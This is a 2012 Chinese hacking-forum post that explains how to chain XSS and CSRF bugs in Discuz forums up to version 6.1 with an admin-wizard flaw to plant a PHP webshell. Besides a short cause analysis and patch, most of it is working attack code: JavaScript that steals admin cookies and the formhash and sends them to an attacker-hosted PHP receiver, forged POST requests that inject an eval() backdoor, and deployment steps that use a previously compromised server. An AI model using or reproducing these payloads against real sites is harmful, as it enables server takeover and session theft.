找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3833|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell& I% L1 l+ V" F' y& p1 O
By racle @tian6.com5 i$ c+ l/ _! C2 J- A& R- g$ e
欢迎转帖.但请保留版权信息.! K0 m$ ?( g% W4 ^: `# F
受影响版本iscuz<=6.1.0,gbk+utf+big50 z: c: s, M) Q; N& L5 @; q" Y0 r

: ]& {. C# Z) k- D, b, w( \新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
: q- {8 B% [% D6 G; K) c4 w2 d& C* R3 l4 m

- q) ?0 c7 T; V% z  r3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87065 E4 |5 h3 ~( {% L
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.& _0 K5 @/ c4 b% }7 D; `
% W8 L; S9 G; n7 ~- g$ J. Z2 A
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..( i: l! B% q' F; }7 a# s0 s
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS5 D/ a' x% C5 ^; `% f2 u' S
! n* ]9 C! O% R$ Y/ n

! s! ]% q8 @( `2 o, F* k  f& V$ \+ r----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------* q" M) `# G& V* [$ _0 _) F5 |
: @1 L! S& z; b) n
$ X% R$ W2 p* E
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
) o" h1 {3 W$ C
: }4 H- _7 H7 \* Z3 v. @. fproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.0 W2 \3 A  Z1 F0 }; {+ E

- `. q7 _8 Q  [  j6 v1 b  Cproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.. W: J+ h1 O8 J+ w! {: U0 @
7 c7 x+ p# A3 j& y0 U- J. ~! `+ g

( K* q9 K9 E. P, o0 r% q* ~下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {  ?3 \6 E3 `6 g" z5 i& U% ?. K

: N) P0 T: e0 x  F( }. \0 j1 ]/ h2 A        global $runwizardfile, $runwizardhistory;
. N% V2 A4 L9 J3 m2 a# |
5 r7 U7 n: o2 m6 |5 U0 b        $fp = fopen($runwizardfile, 'w');
3 M" ]& ^; V* w! f* y) C9 [; c! B) _) W$ ^: e0 B; m" ]
        fwrite($fp, serialize($runwizardhistory));: E% s1 i) ]! d* Z! z8 D3 x. U
$ `) `% `" l4 l0 d; e* b6 h
        fclose($fp);
" o* w1 a$ x; o4 }5 U# K) |$ S/ p+ o1 }9 g# a" z
}0 z3 I2 O% f6 h1 h. s: Q# u: p
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
  B0 X  i- ?) J. ~- N( {  \以下是修补的办法:function saverunwizardhistory() {
% a* S+ b8 H  ]+ E  p! X' P% H
) T' \; Y/ b; `" `/ a4 p. I4 _. g  c! ^        global $runwizardfile, $runwizardhistory;
; A( ?, i8 \% R2 l6 n5 i' Y" n
' f& X2 z. [) k6 Y; e# V5 p; k+ M7 @        $fp = fopen($runwizardfile, 'w');
5 z& u% L% w# @. F
6 |+ M; M% y  _& A" L$ |        $s = '<?php exit;?>';
: w1 Y* T# G) E/ Q. u- i
6 A# B2 R& L0 j" h        $s .= serialize($runwizardhistory);' N! `, F' B! ]4 f' f; y

' C' O- f* Q* Y, A. S" l2 S        fwrite($fp, $s);
9 q$ i0 f/ b  [9 J, t* m9 v' h  l3 x
3 c9 [. S, I! B4 D4 p, `        fclose($fp);) I. N1 C) R8 ]( q; g; O& o( {

0 W) S* g  b) ^$ [! A$ G}) ]4 x0 w/ j/ l
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
$ V8 G" `/ K( ~& `4 n
! i0 W: V) G: u7 D
8 g* O/ X6 h6 B' O7 \' b7 ~3 N1 q- W
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------* R6 d# L! K; @. C" {4 K6 Z
6 ^0 K. k- M7 G8 [0 Y1 @& E4 P# d3 H
5 y" _( G& Y3 ?
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
: h4 J  P4 [3 \; n1 u7 q4 a+ L3 s. e7 }( {8 L0 {
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.7 B+ c4 X4 m5 |# O9 C3 t% s7 k9 o
/ J- K' B' u+ w8 I/ t
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.0 j+ z% Y0 i. ~( \" u$ f- C

* E) x. D; x" h- P: V* W首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:% t" u) _8 m. t, ~

% n( w+ z5 Y8 d7 nvar url="http://目标网站/admincp.php";      
' s/ S( g, m; x/ E
6 _/ A# A2 h- u2 L; n# Q& `/*获得cookies*/% `: G( c  ^, i
! g" R' g" n+ G/ _6 F$ g  }( B. k
function getURL(s) {+ V9 @/ S0 T3 m

- d. f3 w# O: Fvar image = new Image();( O8 g3 i8 \  a4 N3 c7 Q! z

6 d- |5 [# D% s3 a  s8 Mimage.style.width = 0;* E2 r6 T6 I% W7 L  L
  A7 z; o0 u+ Z. P) D* O- T  y
image.style.height = 0;+ _) ?; x3 T# a

' r( R+ R( g) W2 ^; D) cimage.src = s;. ~  [! k3 Q- Z4 i7 c
6 F# R7 i1 }% c- D: _- m' v
}
- J2 v! Z% B/ E2 Z7 V8 a8 ^; n3 E6 p5 y2 }
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
* \$ d  R. G6 x2 ^: Z1 H* w复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];+ }% @* B, |( @+ g# E
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
) g) O- ]/ k. d3 }; n( _( k
& O5 E" }/ `! F& f) w: N+ k; \7 D6 `& W* b8 U; X1 p$ J
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
  L' c/ ?8 z' R* p) z  z0 z: o/ h2 v% b( `/ _
% c1 }' Z' C! A3 v9 a& O

' O8 a) m. J4 ]7 S6 j/*hash*/
: S$ Z2 N3 ~( s) K. E) Z! _$ d! x, c  T, }% ]+ \
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");6 |8 P% P$ m+ e4 j' R  K

0 L5 Q% J" n) }# a; O$ yxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
/ r0 O7 p: f2 J+ ?5 {0 F/ N% p" [  w0 n. o
xmlHttpReq.send();  S& K7 W. \" U1 n2 t' g/ N

( r4 u! K8 d/ e0 ]8 xvar resource = xmlHttpReq.responseText;
$ d" |6 B5 _' h1 t# A# x' J% d9 [- ~  x/ b& ?) x
var numero = resource.search(/formhash/);
3 }/ A' P% S, W6 s/ \1 ^4 ?2 y) L+ n! y( s, a9 @
var formhash=encodeURIComponent(resource.substr(numero+17,8));
) m9 L/ w" Q! [  H: d! E/ s& \, F3 ?) \2 g; z
, r% W2 U' `$ J6 H' x$ K
5 i7 Y! R+ w7 a9 e0 p) q- c
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
5 ]! X6 s# E! C& k2 I
& C7 {+ k. r( b" e# {* ?, zxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 # k4 M* ]8 K9 W* y# F

8 U1 N; @5 ?3 w* ~4 T2 o( d  k* sxmlHttpReq.setRequestHeader("Referer", url);
/ Q6 M) j$ |8 |: {  ?( l0 G5 L' g0 [8 ~2 u( n" k+ G2 E9 M2 C
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");. N, `" w/ [$ p

2 `' y2 g3 y8 Y( @9 l: j3 r+ a7 CxmlHttpReq.setrequestheader("content-length",post.length);
9 x4 }- ^, C0 G+ R+ @  C4 U
% o+ J# }8 `. b0 oxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
3 y. F; P7 f7 G2 s$ A
1 `% a( p0 \3 ?+ A0 n' W0 q; y+ b& zxmlHttpReq.send(post);//发送数据8 @5 ^3 @3 n4 x7 J' @
复制代码这里HASH我假设正确,这样提交,也无须cookies
" \' [- h2 l- h$ w5 Y3 V* f3 u7 k# A7 C7 N% j
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);5 K# u# d; S6 `+ j7 v1 J* c

9 G+ H6 W7 z7 T6 h- w* kif (!$sock) die("$errstr ($errno)\n");3 ^8 g6 @% n! M* t5 f
8 r( Q  \3 R7 d1 b, S8 j
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';! k. @4 X' f' G8 u
! S) f: N3 e1 R) f; g% f
8 \& h5 }+ f' }! x

9 \, \4 ~; `2 }fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
. I2 k8 t- F0 M1 \7 B7 Q0 `2 v  j  ?2 a8 _, Q8 P
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
# I( x& }' |' g+ s- |
# `' s7 C! x( b7 _" D% h- L* q) E- K& ofwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");4 P: F& `% }$ Z- V9 @

9 J% v- g3 ^2 l! Zfwrite($sock, "Accept-Language: zh-cn\r\n");
0 V/ E5 J  o- x$ O- l  |) A7 i( F, Y8 \7 X
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");1 i- Y: ]8 f- ?/ ]6 R4 ^

# P+ J# ~$ E- w' B. D7 }; r, ?) p7 dfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
0 J8 B3 O. B) v, U1 A. j
+ {6 N! P: a0 A, P1 b6 Mfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
5 |' T% F8 [& \- I4 |) b" h- L& f+ ~5 ]  z% I- `7 c9 g
fwrite($sock, "Host: $url\r\n");  ^% o% _0 A/ c0 w

3 `: D6 a8 V* A+ U: i2 n) q3 ffwrite($sock, "Content-Length: ".strlen($data)."\r\n");8 T2 Y5 C. E0 I7 I: W' Y- E$ O

& F7 D# \4 @" z' j$ Dfwrite($sock, "Connection: Keep-Alive\r\n");8 {5 h5 h# b3 Q( A; z

/ r; I  L4 `  {4 ~fwrite($sock, "Cache-Control: no-cache\r\n");* Q+ f, o8 _3 [4 D

3 L* ^3 A8 W4 a- _& k* w/ ^6 pfwrite($sock, "Cookie:".$cookies."\r\n\r\n");0 f" U4 F- g: r# V0 {1 c. ~9 @
' ^+ q: u; A4 W6 ?, @
fwrite($sock, $data);4 J" G- J" K* \  f
; G- H& a8 k+ S+ F& A$ `  k/ _0 y

- y$ M& r. o. B3 e( g( d' |# f% D! y4 D+ R9 _: b
$headers = "";
% _0 ~  U/ m6 H" e5 t$ D$ B$ v) f) J6 v7 W  I  V' u3 N$ ~
while ($str = trim(fgets($sock, 4096)))
1 f1 {- H. ~+ }% ~; o" p0 n! S
! |5 x! x* v) i. G     $headers .= "$str\n";
* [( x) W# o" x9 O# m. ~* E  m
: p0 s) z* p$ l2 mecho "\n";8 O/ k( E" G2 A7 s0 i

" s9 j# W. K; j* }$body = "";
6 e* K2 y9 [; U; `" Y, x7 K
4 ]5 c8 D# t  A( N8 D8 @while (!feof($sock))+ R% @% c# ~; P% o8 ~  v: r7 r! l. `

! |/ i. v8 o) j3 p6 Z' R  n     $body .= fgets($sock, 4096);
! Q$ [' u6 v$ h: P% `  h  m. {) f/ g; C) R0 B, V' J- r
fclose($sock);
5 d) [  Q; m5 N2 O8 @0 e8 U8 j  P, i% N
echo $body;8 @$ |2 {& C! y* S$ r# B. q- i
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
$ k: _" r, C0 v
8 p3 w. d1 W/ c" ]- c! j. I
5 E) L" P9 k1 M+ b* p) P-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
+ k3 C0 V+ n! N5 W( C
: z8 g5 V. X2 Z+ F4 o2 t: ]4 s" D& {+ g
1HP SOCKET利用方法首先打开racle.js
9 h6 M, @% ~0 i9 ]  K9 \5 m8 B& `. V# ]
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home6 d4 c& X( X  C; z8 N% k6 Y
' I  s$ Y1 p- d6 j" Z( |) a: Q
& N7 e& m" O5 E, p+ p$ c; _
1 X$ c: T. |( \% l% k  R7 x* M
然后打开racle@tian6.php
1 W7 q; X; {; |2 V- n
/ g) m3 G+ ]$ L  i7 l1 v$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
2 R0 _* ?  T9 D+ C1 H
( K' l: U8 h1 B, s$ g3 ?" K4 c7 Q: }! g" p2 x

% m2 _* q9 K/ g如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
- D& l0 }6 Y" e! B' q( N5 N- }
, a7 @: P9 I5 S6 ZgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
/ l7 X6 ^. w- j6 V9 d" d  A
3 |" y" q/ |( w: B* ^! z4 X/ [; Q4 L9 A* ?4 W1 f. _! V
9 C7 [7 x: \$ l' g" R
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));! }+ S7 F# V9 L% s
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.% C9 B( k- M+ @6 T# j% d
" ^6 w$ s6 J5 O2 D( d1 k* Z

" G% }3 {3 y9 D" J5 [/ D" w9 T+ q0 R) t0 q4 A
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:+ \! {3 q$ x: H; O' n/ b

) j) t5 _# i* {& m6 pvar formhash=encodeURIComponent(resource.substr(numero+17,8));
5 v5 n* w3 \6 s8 V3 ?) Y+ J: i4 X: K
; \+ [3 m9 {1 ?- J7 F/ I
8 i( R$ S1 x9 h# F( g1 g4 h: x: O9 V
var formhash=encodeURIComponent(resource.substr(numero+9,8));
( S/ Z, y- X& W( T复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.$ u% ^0 H8 p0 j6 R" E% O
( t* x) Z0 h# F( F9 g: ^% a
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.$ @1 R" z; F# b6 I/ Y+ v! `
2 A! c% |6 H6 E8 @2 D' Y/ g+ b
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
9 t4 V: H% ^: D5 C; y: G
/ U# x2 ]( \9 Q# b5 {不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
1 ]: _& N5 }# P
" W: s3 j  V1 C$ L; {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表